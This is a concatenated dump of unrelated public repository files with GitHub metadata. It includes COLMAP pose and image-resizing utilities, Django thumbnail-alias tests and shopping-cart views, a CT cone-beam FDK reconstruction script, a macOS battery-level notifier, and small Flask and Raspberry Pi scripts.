print( 'Depth stats', valid_z.min(), valid_z.max(), valid_z.mean() )
save_arr = []
for i in perm:
vis = vis_arr[:, i]
zs = zvals[:, i]
zs = zs[vis==1]
close_depth, inf_depth = np.percentile(zs, .1), np.percentile(zs, 99.9)
# print( i, close_depth, inf_depth )
save_arr.append(np.concatenate([poses[..., i].ravel(), np.array([close_depth, inf_depth])], 0))
save_arr = np.array(save_arr)
np.save(os.path.join(basedir, 'poses_bounds.npy'), save_arr)
def minify_v0(basedir, factors=[], resolutions=[]):
needtoload = False
for r in factors:
imgdir = os.path.join(basedir, 'images_{}'.format(r))
if not os.path.exists(imgdir):
needtoload = True
for r in resolutions:
imgdir = os.path.join(basedir, 'images_{}x{}'.format(r[1], r[0]))
if not os.path.exists(imgdir):
needtoload = True
if not needtoload:
return
def downsample(imgs, f):
sh = list(imgs.shape)
sh = sh[:-3] + [sh[-3]//f, f, sh[-2]//f, f, sh[-1]]
imgs = np.reshape(imgs, sh)
imgs = np.mean(imgs, (-2, -4))
return imgs
imgdir = os.path.join(basedir, 'images')
imgs = [os.path.join(imgdir, f) for f in sorted(os.listdir(imgdir))]
imgs = [f for f in imgs if any([f.endswith(ex) for ex in ['JPG', 'jpg', 'png', 'jpeg', 'PNG']])]
imgs = np.stack([imageio.imread(img)/255. for img in imgs], 0)
for r in factors + resolutions:
if isinstance(r, int):
name = 'images_{}'.format(r)
else:
name = 'images_{}x{}'.format(r[1], r[0])
imgdir = os.path.join(basedir, name)
if os.path.exists(imgdir):
continue
print('Minifying', r, basedir)
if isinstance(r, int):
imgs_down = downsample(imgs, r)
else:
imgs_down = skimage.transform.resize(imgs, [imgs.shape[0], r[0], r[1], imgs.shape[-1]],
order=1, mode='constant', cval=0, clip=True, preserve_range=False,
anti_aliasing=True, anti_aliasing_sigma=None)
os.makedirs(imgdir)
for i in range(imgs_down.shape[0]):
imageio.imwrite(os.path.join(imgdir, 'image{:03d}.png'.format(i)), (255*imgs_down[i]).astype(np.uint8))
def minify(basedir, factors=[], resolutions=[]):
needtoload = False
for r in factors:
imgdir = os.path.join(basedir, 'images_{}'.format(r))
if not os.path.exists(imgdir):
needtoload = True
for r in resolutions:
imgdir = os.path.join(basedir, 'images_{}x{}'.format(r[1], r[0]))
if not os.path.exists(imgdir):
needtoload = True
if not needtoload:
return
from shutil import copy
from subprocess import check_output
imgdir = os.path.join(basedir, 'images')
imgs = [os.path.join(imgdir, f) for f in sorted(os.listdir(imgdir))]
imgs = [f for f in imgs if any([f.endswith(ex) for ex in ['JPG', 'jpg', 'png', 'jpeg', 'PNG']])]
imgdir_orig = imgdir
wd = os.getcwd()
for r in factors + resolutions:
if isinstance(r, int):
name = 'images_{}'.format(r)
resizearg = '{}%'.format(int(100./r))
else:
name = 'images_{}x{}'.format(r[1], r[0])
resizearg = '{}x{}'.format(r[1], r[0])
imgdir = os.path.join(basedir, name)
if os.path.exists(imgdir):
continue
print('Minifying', r, basedir)
os.makedirs(imgdir)
check_output('cp {}/* {}'.format(imgdir_orig, imgdir), shell=True)
ext = imgs[0].split('.')[-1]
args = ' '.join(['mogrify', '-resize', resizearg, '-format', 'png', '*.{}'.format(ext)])
print(args)
os.chdir(imgdir)
check_output(args, shell=True)
os.chdir(wd)
if ext != 'png':
check_output('rm {}/*.{}'.format(imgdir, ext), shell=True)
print('Removed duplicates')
print('Done')
def load_data(basedir, factor=None, width=None, height=None, load_imgs=True):
poses_arr = np.load(os.path.join(basedir, 'poses_bounds.npy'))
poses = poses_arr[:, :-2].reshape([-1, 3, 5]).transpose([1,2,0])
bds = poses_arr[:, -2:].transpose([1,0])
img0 = [os.path.join(basedir, 'images', f) for f in sorted(os.listdir(os.path.join(basedir, 'images'))) \
if f.endswith('JPG') or f.endswith('jpg') or f.endswith('png')][0]
sh = imageio.imread(img0).shape
sfx = ''
if factor is not None:
sfx = '_{}'.format(factor)
minify(basedir, factors=[factor])
factor = factor
elif height is not None:
factor = sh[0] / float(height)
width = int(sh[1] / factor)
minify(basedir, resolutions=[[height, width]])
sfx = '_{}x{}'.format(width, height)
elif width is not None:
factor = sh[1] / float(width)
height = int(sh[0] / factor)
minify(basedir, resolutions=[[height, width]])
sfx = '_{}x{}'.format(width, height)
else:
factor = 1
imgdir = os.path.join(basedir, 'images' + sfx)
if not os.path.exists(imgdir):
print( imgdir, 'does not exist, returning' )
return
imgfiles = [os.path.join(imgdir, f) for f in sorted(os.listdir(imgdir)) if f.endswith('JPG') or f.endswith('jpg') or f.endswith('png')]
if poses.shape[-1] != len(imgfiles):
print( 'Mismatch between imgs {} and poses {} !!!!'.format(len(imgfiles), poses.shape[-1]) )
return
sh = imageio.imread(imgfiles[0]).shape
poses[:2, 4, :] = np.array(sh[:2]).reshape([2, 1])
poses[2, 4, :] = poses[2, 4, :] * 1./factor
if not load_imgs:
return poses, bds
imgs = [imageio.imread(f)[...,:3]/255. for f in imgfiles]
imgs = np.stack(imgs, -1)
print('Loaded image data', imgs.shape, poses[:,-1,0])
return poses, bds, imgs
def gen_poses(basedir, factors=None):
files_needed = ['{}.bin'.format(f) for f in ['cameras', 'images', 'points3D']]
if os.path.exists(os.path.join(basedir, 'sparse/0')):
files_had = os.listdir(os.path.join(basedir, 'sparse/0'))
else:
files_had = []
if not all([f in files_had for f in files_needed]):
print( 'Need to run COLMAP' )
run_colmap(basedir)
else:
print('Don\'t need to run COLMAP')
print( 'Post-colmap')
poses, pts3d, perm = load_colmap_data(basedir)
save_poses(basedir, poses, pts3d, perm)
if factors is not None:
print( 'Factors:', factors)
minify(basedir, factors)
print( 'Done with imgs2poses' )
return True
| [
"[email protected]"
] | |
dc4aa6d35aaa94e2f1b560a3ce0122da2dd77bf4 | 8ceb6d592e9cc0d295d9ea1035258d8719aec531 | /env2/lib/python2.6/site-packages/easy_thumbnails/tests/test_aliases.py | 6e6e39335f7bcaaf845b300b09ce73b05895c0a4 | [
"MIT"
] | permissive | arminakvn/follow-the-money | f0f31db93d9e982693d176d0fea9690c0663769f | 4a1189c2f1eb8cb7719f2cbe246b9d1889cc077e | refs/heads/master | 2021-01-18T11:17:34.149530 | 2016-06-24T21:35:25 | 2016-06-24T21:35:25 | 61,913,504 | 0 | 0 | null | 2016-06-24T21:32:05 | 2016-06-24T21:32:05 | null | UTF-8 | Python | false | false | 9,368 | py | from django.db import models
from easy_thumbnails import files, fields, signals, signal_handlers
from easy_thumbnails.alias import aliases
from easy_thumbnails.conf import settings
from easy_thumbnails.tests import utils as test
class Profile(models.Model):
avatar = fields.ThumbnailerField(upload_to='avatars')
logo = models.FileField(upload_to='avatars')
class Meta:
app_label = 'some_app'
class BaseTest(test.BaseTest):
create_file = False
def setUp(self):
super(BaseTest, self).setUp()
settings.THUMBNAIL_ALIASES = {
'': {
'large': {'size': (500, 500)},
'medium': {'size': (300, 300)},
'small': {'size': (100, 100)},
},
'some_app.Profile': {
'large': {'size': (200, 200)},
'banner': {'size': (600, 80), 'crop': True},
},
'some_app.Profile.avatar': {
'avatar': {'size': (80, 80), 'crop': True},
'small': {'size': (20, 20), 'crop': True},
},
'other_app': {
'sidebar': {'size': (150, 250)},
}
}
self.__aliases = aliases._aliases
aliases._aliases = {}
aliases.populate_from_settings()
if self.create_file:
self.storage = test.TemporaryStorage()
# Save a test image.
self.create_image(self.storage, 'avatars/test.jpg')
# Set the test model to use the current temporary storage.
Profile._meta.get_field('avatar').storage = self.storage
Profile._meta.get_field('avatar').thumbnail_storage = self.storage
def tearDown(self):
aliases._aliases = self.__aliases
if self.create_file:
self.storage.delete_temporary_storage()
super(BaseTest, self).tearDown()
class AliasTest(BaseTest):
def test_global(self):
self.assertEqual(aliases.get('invalid'), None)
self.assertEqual(aliases.get('small'), {'size': (100, 100)})
self.assertEqual(aliases.get('avatar'), None)
self.assertEqual(aliases.get('banner'), None)
def test_target(self):
self.assertEqual(
aliases.get('avatar', target='some_app.Profile.avatar'),
{'size': (80, 80), 'crop': True})
self.assertEqual(
aliases.get('small', target='some_app.Profile.avatar'),
{'size': (20, 20), 'crop': True})
def test_partial_target(self):
self.assertEqual(
aliases.get('banner', target='some_app.Profile.avatar'),
{'size': (600, 80), 'crop': True})
self.assertEqual(
aliases.get('banner', target='some_app.Profile'),
{'size': (600, 80), 'crop': True})
self.assertEqual(aliases.get('banner', target='some_app'), None)
def test_target_fallback(self):
# Unknown target.
self.assertEqual(
aliases.get('small', target='some_app.Profile.not_avatar'),
{'size': (100, 100)})
# Known target with no matching alias (but a matching global alias).
self.assertEqual(
aliases.get('medium', target='some_app.Profile.avatar'),
{'size': (300, 300)})
# Known target with no matching alias.
self.assertEqual(
aliases.get('invalid', target='some_app.Profile.avatar'),
None)
def test_all(self):
self.assertEqual(
aliases.all(),
{
'large': {'size': (500, 500)},
'medium': {'size': (300, 300)},
'small': {'size': (100, 100)},
})
self.assertEqual(
aliases.all('unknown_app'),
{
'large': {'size': (500, 500)},
'medium': {'size': (300, 300)},
'small': {'size': (100, 100)},
})
self.assertEqual(
aliases.all('some_app.Profile'),
{
'banner': {'size': (600, 80), 'crop': True},
'large': {'size': (200, 200)},
'medium': {'size': (300, 300)},
'small': {'size': (100, 100)},
})
self.assertEqual(
aliases.all('some_app.Profile.avatar'),
{
'avatar': {'size': (80, 80), 'crop': True},
'banner': {'size': (600, 80), 'crop': True},
'large': {'size': (200, 200)},
'medium': {'size': (300, 300)},
'small': {'crop': True, 'size': (20, 20)},
})
def test_all_no_global(self):
self.assertEqual(
aliases.all('some_app.Profile', include_global=False),
{
'banner': {'size': (600, 80), 'crop': True},
'large': {'size': (200, 200)},
})
self.assertEqual(
aliases.all('some_app.Profile.avatar', include_global=False),
{
'avatar': {'size': (80, 80), 'crop': True},
'banner': {'size': (600, 80), 'crop': True},
'large': {'size': (200, 200)},
'small': {'crop': True, 'size': (20, 20)},
})
class AliasThumbnailerTest(BaseTest):
create_file = True
def test_thumbnailer(self):
thumbnailer = files.get_thumbnailer(self.storage, 'avatars/test.jpg')
thumbnailer.thumbnail_storage = self.storage
thumb = thumbnailer['small']
self.assertEqual((thumb.width, thumb.height), (100, 75))
def test_thumbnailer_fieldfile(self):
profile = Profile(avatar='avatars/test.jpg')
thumbnailer = files.get_thumbnailer(profile.avatar)
thumb = thumbnailer['small']
self.assertEqual((thumb.width, thumb.height), (20, 20))
class GenerationBase(BaseTest):
create_file = True
def get_signal_handler(self):
return NotImplementedError("Subclasses should return the handler")
def setUp(self):
super(GenerationBase, self).setUp()
signals.saved_file.connect(self.get_signal_handler(), sender=Profile)
# Fix the standard storage to use the test's temporary location.
settings.MEDIA_ROOT = self.storage.temporary_location
def tearDown(self):
signals.saved_file.disconnect(
self.get_signal_handler(), sender=Profile)
super(GenerationBase, self).tearDown()
def fake_save(self, instance):
cls = instance.__class__
models.signals.pre_save.send(sender=cls, instance=instance)
for field in cls._meta.fields:
if isinstance(field, models.FileField):
getattr(instance, field.name)._committed = True
models.signals.post_save.send(sender=cls, instance=instance)
return self.storage.listdir('avatars')[1]
class GenerationTest(GenerationBase):
"""
Test the ``generate_aliases`` signal handler behaviour.
"""
def get_signal_handler(self):
return signal_handlers.generate_aliases
def test_empty(self):
"""
Thumbnails are not generated if there isn't anything to generate...
"""
profile = Profile(avatar=None)
files = self.fake_save(profile)
self.assertEqual(len(files), 1)
def test_no_change(self):
"""
Thumbnails are only generated when the file is modified.
"""
profile = Profile(avatar='avatars/test.jpg')
files = self.fake_save(profile)
self.assertEqual(len(files), 1)
def test_changed(self):
"""
When a file is modified, thumbnails are built for all matching
non-global aliases.
"""
profile = Profile(avatar='avatars/test.jpg')
profile.avatar._committed = False
files = self.fake_save(profile)
# 1 source, 4 thumbs.
self.assertEqual(len(files), 5)
def test_deleted(self):
profile = Profile(avatar='avatars/test.jpg')
profile.avatar.delete(save=False)
files = self.fake_save(profile)
self.assertEqual(len(files), 0)
def test_standard_filefield(self):
profile = Profile(avatar='avatars/test.jpg')
# Attach a File object to the FileField descriptor, emulating an
# upload.
profile.logo = self.storage.open(
self.create_image(self.storage, 'avatars/second.jpg'))
list_files = self.fake_save(profile)
# 2 source, 2 thumbs.
self.assertEqual(len(list_files), 4)
class GlobalGenerationTest(GenerationBase):
"""
Test the ``generate_aliases_global`` signal handler behaviour.
"""
def get_signal_handler(self):
return signal_handlers.generate_aliases_global
def test_no_change(self):
"""
Thumbnails are only generated when the file is modified.
"""
profile = Profile(avatar='avatars/test.jpg')
files = self.fake_save(profile)
self.assertEqual(len(files), 1)
def test_changed(self):
"""
When a file is modified, thumbnails are built for all matching and
project-wide aliases.
"""
profile = Profile(avatar='avatars/test.jpg')
profile.avatar._committed = False
files = self.fake_save(profile)
# 1 source, 4 specific thumbs, 1 project-wide thumb.
self.assertEqual(len(files), 6)
| [
"[email protected]"
] | |
cc93e301bc678a6a199d83efb5899ccbbc6ccf8a | 9e8082e6db0d45ffa82b20f2d8e824b403dbe89b | /PythonCode/ReconstructedCTImage/FDK.py | a9bb9e97d2ed596a63f8932d4427519af198106b | [] | no_license | Nuelab/2018-2021.CTMachine | 0f5f5d2f1b078b865773a4fe864ed31d352a8eb0 | c0e765e8907ae565943c438a09e693baec341b7f | refs/heads/master | 2023-03-12T07:20:14.595978 | 2021-02-27T04:23:05 | 2021-02-27T04:23:05 | 342,763,078 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 7,167 | py | from __future__ import division
import numpy as np
from os.path import join
import astra
import cv2
from time import time
import os
import glob
from scipy.ndimage import gaussian_filter
from scipy import ndimage, misc
from matplotlib import pyplot as plt
import itk
'''
DEFINE USER FUNCTION TO READ THE RAW IMAGE
'''
def read_raw(raw_img_path):
# Number of Rows
ROWS = int(2944/2)
# Number of Columns
COLS = int(2352/2)
raw_img = open(raw_img_path)
# Loading the input image
# print("... Load input raw image")
img = np.fromfile(raw_img, dtype = np.uint16, count = ROWS * COLS)
# print("Dimension of the old image array: ", img.ndim)
# print("Size of the old image array: ", img.size)
# Conversion from 1D to 2D array
img.shape = (img.size // COLS, COLS)
img = np.rot90(img,1)
return img
for step in range(0,1,1):
astra.set_gpu_index([0]) # Specify CPU ID to reconstruc image
# '''
# READ ALL THE RAW IMAGES CONTAINDE IN THE SOURCE FOLDER
# '''
# # Start time
print("Initiate cycle",step+1)
print("")
print("=> Read images")
start_time = time()
img_dir1 = (r"E:\B.T.Hung\Samples\Standard_Mau_Tru_Bac_Nhom") # Enter Directory of all images
data_path1 = os.path.join(img_dir1,'*.raw')
files1 = glob.glob(data_path1)
data = []
for f1 in files1:
img = read_raw(f1)
img = gaussian_filter(img, sigma=1) # Apply Gaussian Filter
# img = ndimage.median_filter(img, size=3)
img = -np.log(img/np.max(img))*int(2**16)
img.astype("uint16")
cv2.normalize(img, img, 0, int(2**16), cv2.NORM_MINMAX) # Cân bằng sáng
# img = np.rot90(img,2)
height = img.shape[0]
weight = img.shape[1]
img_crop = img[step:height,0:weight]
data.append(img_crop)
img3D = np.array(data)
# img3D = np.load(r'E:\B.T.Hung\Samples\Standard_Mau_Airfoild\Reconstructed_image\projections.npy')
end_time = time()
print("=> Read images done. Time=",end_time-start_time)
print("")
print("=> Start reconstruction")
start_time = time()
output_dir = r"E:\B.T.Hung\Samples\Standard_Mau_Tru_Bac_Nhom\Reconstructed_image"
data_3D = img3D
# Configuration.
SDD = 993 # Source to Detector Distance [mm]
SOD = 841.1 # Source to Object Distance [mm]
ODD = SDD - SOD # Object to Detector Distance [mm]
detector_pixel_size = 0.099 # Pixel size [mm]
detector_rows = data_3D.shape[1] # Vertical size of detector [pixels].
detector_cols = data_3D.shape[2] # Horizontal size of detector [pixels].
#num_of_projections = data_3D.shape[0]
num_of_projections = data_3D.shape[0]
# Creating number of projections array
angles = np.linspace(0, 2*np.pi, num=num_of_projections, endpoint=False)
# Load projections.
print ("=> Loading Projection ...")
projections = np.zeros((detector_rows, num_of_projections, detector_cols))
for i in range(num_of_projections):
img = data_3D[i,:,:]
# img = apply_filter(img, filter_name='ram_lak')
projections[:, i, :] = img # Lưu hình chiếu vào không gian hình chiếu
# Khởi tạo hình học hình chiếu, dữ liểu trả về dạng dict bao gồm các thông số:
# - Kích thước đầu dò
# - Kích thước pixel
# - Mảng lưu giá trị các góc chiếu
# - Kiểu hình học chiếu (song song, rẻ quạt hoặc nón)
print ("=> Create Project Geometry")
proj_geom = astra.create_proj_geom('cone', 1, 1,
detector_rows, detector_cols, angles,
SOD/detector_pixel_size, ODD/detector_pixel_size)
# Khởi tạo biến lưu trữ hình chiếu (ID - kiểu int), đây là một sinogram 3D với thông số
# hình học chiếu lấy từ biến proj_geom. Biến projections_id được dùng để định danh
# hình chiếu và được sử dụng để cấu hình thuật toán chiếu ngược sau này.
projections_id = astra.data3d.create('-sino', proj_geom, projections)
# Khởi tạo không gian tái tạo vật thể
vol_geom = astra.creators.create_vol_geom(detector_cols, detector_cols,
detector_rows)
# Khởi tạo biến lưu trữ ID của không gian tái tạo 3D, với kích thước của không gian
# được lưu trong biến vol_geom, giá trị ban đầu của mỗi điểm anh trong không gian
# được khai báo bằng 0
reconstruction_id = astra.data3d.create('-vol', vol_geom, data=0)
# Biến alg_cfg có kiểu dict, dùng để lưu trông số cấu hình cho thuật toán tái tạo
alg_cfg = astra.astra_dict('FDK_CUDA')
alg_cfg['ProjectionDataId'] = projections_id
alg_cfg['ReconstructionDataId'] = reconstruction_id
#alg_cfg['GPUindex'] = 0
# Khởi tạo thuật toán từ biến alg_cfg
algorithm_id = astra.algorithm.create(alg_cfg)
# Chạy thuật toán, hàm này có hai biến đầu vào:
# - algorithm_id: ID của thuật toán, kiểu int
# - iterations vòng lặp cho thuật toán đại số, mặc định bằng 1 với thuật toán chiếu ngược
iter_val = 1
print("=> Running Algorithm ...")
astra.algorithm.run(algorithm_id,iter_val)
# Thu dữ liệu tái tạo, dữ liệu trả về có dạng numpy.ndarray
reconstruction = astra.data3d.get(reconstruction_id)
# Loại bỏ giá trị âm của dữ liệu tái tạo gây ra do noise
# Định dạng lại dữ liệu ra có kiểu 8 bit
reconstruction[reconstruction < 0] = 0
reconstruction /= np.max(reconstruction)
reconstruction = np.round(reconstruction * 65535).astype(np.uint16)
# reconstruction = np.round(reconstruction * 255).astype(np.uint8)
# End time
end_time = time()-start_time
# Lưu dữ liệu ra file
# print ("=> Saving reconstructed image... ")
# print ("=> Saving result ...")
# for i in range(detector_cols):
# im = reconstruction[:, 736, :]
# im = np.flipud(im)
# cv2.imwrite(join(output_dir, 'recoH%04d.png' % step), im)
# im = reconstruction[588, :, :]
# im = np.flipud(im)
# cv2.imwrite(join(output_dir, 'recoV%04d.png' % step), im)
image = itk.GetImageFromArray(reconstruction)
itk.imwrite(image, 'recondat.nrrd')
# print ("=> Saving 3D array data... ")
# np.save('E:\B.T.Hung\Samples\Standard_Mau_Den_Pin\Reconstructed_image\data.npy',reconstruction)
# Cleanup.
astra.algorithm.delete(algorithm_id)
astra.data3d.delete(reconstruction_id)
astra.data3d.delete(projections_id)
print ("=> FINISH <=")
print("Running time "+str(iter_val)+" = ", end_time)
| [
"[email protected]"
] | |
f128a80c971ea8feea6775c66d92fc9810d37f4c | 49b9f32b339756235388538ccfb88df43d15f9f2 | /batteryChecker.py | 692cb7a6be1ad6e3965d968c129d65a1d3a2e1c0 | [] | no_license | AmitNaik07/Battery-Checker | c23b595a739438bb3148a6cfa418a85a11b2b5f4 | b45c700d29489b45ef87be43ae81a37ec5a5453a | refs/heads/master | 2020-04-17T08:13:08.226174 | 2019-01-21T04:53:52 | 2019-01-21T04:53:52 | 166,403,222 | 1 | 1 | null | 2019-04-04T19:15:55 | 2019-01-18T12:41:33 | Python | UTF-8 | Python | false | false | 607 | py | from pync import Notifier
import subprocess
#checks to see if the state of the battery is in dischage mode.
status =subprocess.Popen('pmset -g batt | grep -c "discharging"', shell=True, stdout=subprocess.PIPE).stdout
#checks the battery level.
rem =subprocess.Popen('pmset -g batt | grep -Eo "\d+%" | cut -d% -f1', shell=True, stdout=subprocess.PIPE).stdout
version =rem.read()
stat =status.read()
#print(stat.decode())
#print(version.decode())
if int(version.decode()) < 15 and int(stat.decode())==1:
Notifier.notify('Insert Charger', title ='Battery Checker')
else:
print("Battery level is okay.")
| [
"[email protected]"
] | |
fd1eda994a5946b9573b801a1fe5eb3c83aeaa90 | cdc7e1fe79c391d8ad4f077d3cf1d5e0c34c44ea | /main/apps/books/urls.py | bfc25d7c39c39f93aa5c32bdaa8533b63590c582 | [] | no_license | MovinTarg/Belt-Reviewer | b76aa4085b366d298f107e5f9ebfe7df4d85be0d | 42a3791039db21aa27f6bdc5914110be8de6b965 | refs/heads/master | 2021-04-15T06:09:51.797064 | 2018-03-27T15:01:38 | 2018-03-27T15:01:38 | 126,205,257 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 335 | py | from django.conf.urls import url
from . import views
urlpatterns = [
url(r'^$', views.index),
url(r'^add', views.add),
url(r'^create', views.create),
url(r'^(?P<book_id>\d+)$', views.books),
url(r'^(?P<book_id>\d+)/review$', views.review),
url(r'^(?P<book_id>\d+)/delete/(?P<review_id>\d+)$', views.delete),
]
| [
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] | |
3e1ce899028eee65f24efadd5aa449e49829f53a | 0dc7a167eb567f14cef6435fda92e922884d788c | /webapp/webshop/apps/user/views/cart.py | 81b85b46313a2f7d3084428b7b32486c0f1153c7 | [] | no_license | MartinPeschke/webshop | 570283885d602a1ac56a7cb131368497b6f2dd9f | 3f1bd898654cd621f2cf17d211435d207338582a | refs/heads/master | 2021-01-20T12:11:27.216914 | 2015-01-04T19:57:26 | 2015-01-04T19:57:26 | 28,784,279 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,069 | py | from django.core.urlresolvers import reverse
from django.http import HttpResponseNotAllowed, HttpResponseRedirect
from django.shortcuts import render_to_response
from django.template import RequestContext
from django.template.loader import render_to_string
from webshop.apps.contrib.cart import Cart
from webshop.apps.contrib.decorator import json
from webshop.apps.lib.baseviews import BaseLoggedInView
from webshop.apps.order.models import Order
__author__ = 'Martin'
class ShoppingCartView(BaseLoggedInView):
template_name = 'user/profile/shopping_cart.html'
def get(self, request, *args, **kwargs):
cart = request.session.get('cart', None)
if not isinstance(cart, Cart):
request.session['cart'] = Cart(request.user)
return {'cart':cart}
class OrderHistoryView(BaseLoggedInView):
template_name = 'user/profile/order_history.html'
def get(self, request, *args, **kwargs):
orders = Order.objects.select_related().filter(user = request.user, status_id__gt = 0).order_by('-create_time')
return {'orders': orders}
@json
def add_to_cart(request):
if request.method == 'GET':
return HttpResponseNotAllowed(['GET'])
items = request.POST.items()
if 'cart' not in request.session:
cart = Cart(request.user)
else:
cart = request.session['cart']
was_added = cart.addToCart(items)
request.session['cart'] = cart
return {'cart_html':render_to_string('user/profile/cart_items.html', locals(), context_instance=RequestContext(request))}
def update_cart(request):
if request.method == 'GET':
return HttpResponseNotAllowed(['GET'])
items = request.POST.items()
cart = request.session['cart'] = Cart(request.user)
cart.addToCart(items)
return HttpResponseRedirect(reverse("cart-route"))
def delete_item(request, id):
'''
Used by delete button on shopping cart page
'''
cart = request.session.get('cart',None)
if cart:
cart.removeItem(id)
request.session['cart'] = cart
return HttpResponseRedirect(reverse("cart-route")) | [
"[email protected]"
] | |
fb65b5e1b09fd62086064f29b0f8154cb3a9520e | 2a7acf423403e40851d2859aaf611cf5fe914509 | /wilson/run/wet/__init__.py | f3aac122ec695489710026a471dc56c1f0126bde | [
"MIT"
] | permissive | jasonaebischerGIT/wilson | 69bb22f516068ed58e9f150703c966a885477237 | 3a1a8aff2de72475b3ac09095195a19350c2e009 | refs/heads/master | 2020-03-26T22:04:50.969989 | 2018-08-20T12:52:05 | 2018-08-20T12:52:05 | 145,430,229 | 0 | 0 | null | 2018-08-20T14:41:26 | 2018-08-20T14:41:26 | null | UTF-8 | Python | false | false | 165 | py | """Renormalization group running of Wilson coefficients in
the weak effective theory."""
from . import rge
from . import parameters
from .classes import WETrunner
| [
"[email protected]"
] | |
5eecc9ffa026a192bd44b6ef958b4fdc96f89f9b | b7735fb00f87c94e7b3d3711a5d526dd4eacc2be | /run_keras_server.py | 2c8f284a88b712eaa76001912933c9a26e2c2bfd | [] | no_license | abhiishekpal/Project_cervical | e7e25e8491272b6121a401ea04a14b3b144fbb24 | d1e1da48e0e17d122744d240bdada2fd5f7e66f8 | refs/heads/master | 2020-03-29T14:35:30.084933 | 2018-09-23T20:53:50 | 2018-09-23T20:53:50 | 150,024,585 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,891 | py | from flask import Flask
app=Flask(__name__)
@app.route('/sample')
def running():
return 'Flask is running'
running()
# # USAGE
# # Start the server:
# # python run_keras_server.py
# # Submit a request via cURL:
# # curl -X POST -F [email protected] 'http://localhost:5000/predict'
# # Submita a request via Python:
# # python simple_request.py
#
# # import the necessary packages
# from keras.applications import ResNet50
# from keras.preprocessing.image import img_to_array
# from keras.applications import imagenet_utils
# from PIL import Image
# import numpy as np
# import flask
# import io
# import warnings
# warnings.filterwarnings("ignore")
#
# # initialize our Flask application and the Keras model
# app = flask.Flask(__name__)
# model = None
#
# def load_model():
# # load the pre-trained Keras model (here we are using a model
# # pre-trained on ImageNet and provided by Keras, but you can
# # substitute in your own networks just as easily)
# global model
# model = ResNet50(weights="imagenet")
#
# def prepare_image(image, target):
# # if the image mode is not RGB, convert it
# if image.mode != "RGB":
# image = image.convert("RGB")
#
# # resize the input image and preprocess it
# image = image.resize(target)
# image = img_to_array(image)
# image = np.expand_dims(image, axis=0)
# image = imagenet_utils.preprocess_input(image)
#
# # return the processed image
# return image
#
# @app.route("/predict", methods=["POST"])
# def predict():
# # initialize the data dictionary that will be returned from the
# # view
# data = {"success": False}
#
# # ensure an image was properly uploaded to our endpoint
# if flask.request.method == "POST":
# if flask.request.files.get("image"):
# # read the image in PIL format
# image = flask.request.files["image"].read()
# image = Image.open(io.BytesIO(image))
#
# # preprocess the image and prepare it for classification
# image = prepare_image(image, target=(224, 224))
#
# # classify the input image and then initialize the list
# # of predictions to return to the client
# preds = model.predict(image)
# results = imagenet_utils.decode_predictions(preds)
# data["predictions"] = []
#
# # loop over the results and add them to the list of
# # returned predictions
# for (imagenetID, label, prob) in results[0]:
# r = {"label": label, "probability": float(prob)}
# data["predictions"].append(r)
#
# # indicate that the request was a success
# data["success"] = True
#
# # return the data dictionary as a JSON response
# return flask.jsonify(data)
#
# # if this is the main thread of execution first load the model and
# # then start the server
# if __name__ == "__main__":
# print(("* Loading Keras model and Flask starting server..."
# "please wait until server has fully started"))
# load_model()
# app.run(debug = True, threaded = False)
| [
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] | |
87f42d2f2375eeba3009f107248a166b348cf3c5 | 5f3cc54074b040f2b06d587db75088d96fac38f9 | /adlist/ads/migrations/0001_initial.py | c6931e2dd81df0fca331dcea76ff6cdd7371b3b0 | [] | no_license | eabouk/SI364 | d1e93d85dc42bf85d4f4037cb7f485f4500e58f3 | 18c2bc49b3d78585912091116a0bec9e3429757a | refs/heads/master | 2020-04-16T14:57:50.777318 | 2019-04-19T14:23:31 | 2019-04-19T14:23:31 | 165,686,066 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,015 | py | # Generated by Django 2.1.7 on 2019-03-25 17:01
from django.conf import settings
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
initial = True
dependencies = [
migrations.swappable_dependency(settings.AUTH_USER_MODEL),
]
operations = [
migrations.CreateModel(
name='Ad',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('title', models.CharField(max_length=200)),
('price', models.DecimalField(decimal_places=2, max_digits=7, null=True)),
('text', models.TextField()),
('created_at', models.DateTimeField(auto_now_add=True)),
('updated_at', models.DateTimeField(auto_now=True)),
('owner', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to=settings.AUTH_USER_MODEL)),
],
),
]
| [
"[email protected]"
] | |
ae36260d8b766ca11b865f91162ae29249dc166e | 7b9b8ec972b205c061f43c8cc42cddde4ba449f1 | /testingError.py | 2d9cdc925aa57a97873f3904b5162628c4bbf889 | [] | no_license | RosiePuddles/Image_Recognition | 752b3196d91659fb224a2c00629c46a51addf16a | c2799478f41b4347d0725876ddd5fb54ce703c26 | refs/heads/master | 2023-03-11T16:04:34.079836 | 2021-03-04T20:24:05 | 2021-03-04T20:24:05 | 326,412,979 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 559 | py | from random import randint
import traceback
import RPi.GPIO as GPIO
def __init__():
GPIO.setmode(GPIO.BCM)
[GPIO.setup(i, GPIO.OUT) for i in [26, 19, 13]]
def off():
[GPIO.outout(i, False) for i in [26, 19, 13]]
def on(i):
off()
GPIO.outout(i, True)
def functionToRun():
a = [randint(0, 2) for _ in range(5)]
for i in a:
randint(1, 10) / i
try:
functionToRun()
except BaseException as err:
print(f"Something went wrong darling. Sorry.\nAnyways, this is what went wrong:\n{err}\n{traceback.format_exc()}")
| [
"[email protected]"
] | |
c4d81281a2fd41baedcc475d64b5f500b67aeb39 | 91e9bb994962c9457114ff9dc3451c87fd825e74 | /main.py | 5c35fae8f78b24dc135d9dcb6a8f0f27f9cd4796 | [] | no_license | jenkins85/cafago | 4c617b48c6b92218a4a4cb889838e5d43a7e22f5 | 1e74d7cb7c573409789d6572837de9eb1fd222e3 | refs/heads/master | 2020-07-10T06:54:45.436463 | 2019-08-24T18:42:34 | 2019-08-24T18:42:34 | 204,198,160 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 832 | py | #!/usr/bin/env python
#
# Copyright 2007 Google Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
